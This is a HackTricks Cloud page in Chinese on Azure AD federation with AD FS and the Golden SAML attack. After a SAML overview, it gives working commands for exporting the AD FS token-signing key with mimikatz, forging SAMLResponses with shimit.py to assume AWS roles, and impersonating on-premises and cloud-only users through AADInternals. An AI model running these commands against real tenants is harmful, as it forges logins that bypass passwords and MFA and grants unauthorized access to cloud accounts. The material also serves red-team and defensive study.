Az - Federation
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
基本信息
联邦是建立了信任的一组域。信任的级别可能有所不同,但通常包括身份验证,几乎总是包括授权。一个典型的联邦可能包括一组已建立信任的组织,以便共享访问一组资源。 您可以将本地环境与Azure AD进行联邦,并使用此联邦进行身份验证和授权。此登录方法确保所有用户身份验证在本地进行。此方法允许管理员实施更严格的访问控制。与AD FS和PingFederate的联邦是可用的。
.png)
基本上,在联邦中,所有身份验证都发生在本地环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其本地凭据访问云应用程序。
安全断言标记语言(SAML)用于在提供者之间交换所有身份验证和授权信息。
在任何联邦设置中,有三个参与方:
- 用户或客户端
- 身份提供者(IdP)
- 服务提供者(SP)
.png)
- 最初,用户访问一个应用程序(服务提供者或SP,例如AWS控制台或vSphere Web客户端)。根据具体实现,此步骤可能会被绕过,直接将客户端引导到IdP(身份提供者)。
- 随后,SP识别适当的IdP(例如,AD FS,Okta)进行用户身份验证。然后,它构建一个SAML(安全断言标记语言)AuthnRequest,并将客户端重定向到所选的IdP。
- IdP接管,进行用户身份验证。身份验证后,IdP生成SAMLResponse并通过用户转发给SP。
- 最后,SP评估SAMLResponse。如果成功验证,表明与IdP之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。
如果您想了解更多关于SAML身份验证和常见攻击的信息,请访问:
侧向移动
- AD FS是基于声明的身份模型。
- “..声明只是关于用户的语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。”
- 用户的声明写入SAML令牌中,然后由IdP签名以提供机密性。
- 用户通过ImmutableID进行识别。它是全局唯一的,并存储在Azure AD中。
- ImmutableID存储在本地作为ms-DS-ConsistencyGuid,用户和/或可以从用户的GUID派生。
- 更多信息请参见https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims
黄金SAML攻击:
- 在ADFS中,SAML响应由令牌签名证书签名。
- 如果证书被泄露,可以作为任何同步到Azure AD的用户进行身份验证!
- 就像我们的PTA滥用一样,用户的密码更改或MFA不会产生任何影响,因为我们伪造了身份验证响应。
- 可以从AD FS服务器提取证书,具有DA权限,然后可以从任何连接到互联网的机器上使用。
- 更多信息请参见https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
黄金SAML
身份提供者(IdP)生成SAMLResponse以授权用户登录的过程至关重要。根据IdP的具体实现,响应可能会使用IdP的私钥进行签名或加密。此过程使**服务提供者(SP)**能够确认SAMLResponse的真实性,确保它确实是由受信任的IdP发出的。
可以与黄金票证攻击进行比较,其中用于验证用户身份和权限的密钥(黄金票证的KRBTGT,黄金SAML的令牌签名私钥)可以被操纵以伪造身份验证对象(TGT或SAMLResponse)。这允许冒充任何用户,授予对SP的未授权访问。
黄金SAML提供了一些优势:
- 它们可以远程创建,无需成为相关域或联邦的一部分。
- 即使启用双因素身份验证(2FA),它们仍然有效。
- 令牌签名私钥不会自动续订。
- 更改用户的密码不会使已生成的SAML失效。
AWS + AD FS + 黄金SAML
活动目录联邦服务(AD FS)是一个Microsoft服务,促进受信任商业伙伴之间的身份信息安全交换(联邦)。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
由于AWS信任被泄露的域(在联邦中),可以利用此漏洞来潜在地获取AWS环境中的任何权限。该攻击需要用于签名SAML对象的私钥,类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
执行黄金SAML攻击的要求包括:
- 令牌签名私钥
- IdP公钥证书
- IdP名称
- 角色名称(要假设的角色)
- 域\用户名
- AWS中的角色会话名称
- 亚马逊账户ID
只有加粗的项目是强制性的。其他项目可以根据需要填写。
要获取私钥,需要访问AD FS用户帐户。从那里,可以使用mimikatz等工具从个人存储中导出私钥。要收集其他所需信息,可以使用Microsoft.Adfs.Powershell snapin,如下所示,确保您以ADFS用户身份登录:
# From an "AD FS" session
# After having exported the key with mimikatz
# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)
# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
通过所有信息,可以使用 shimit** 作为您想要冒充的用户忘记一个有效的 SAMLResponse:**
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012
# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
.png)
本地 -> 云
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
# On AD FS server execute as administrator
Get-AdfsProperties | select identifier
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
也可以为仅云用户创建 ImmutableID 并冒充他们。
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
参考
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
- https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

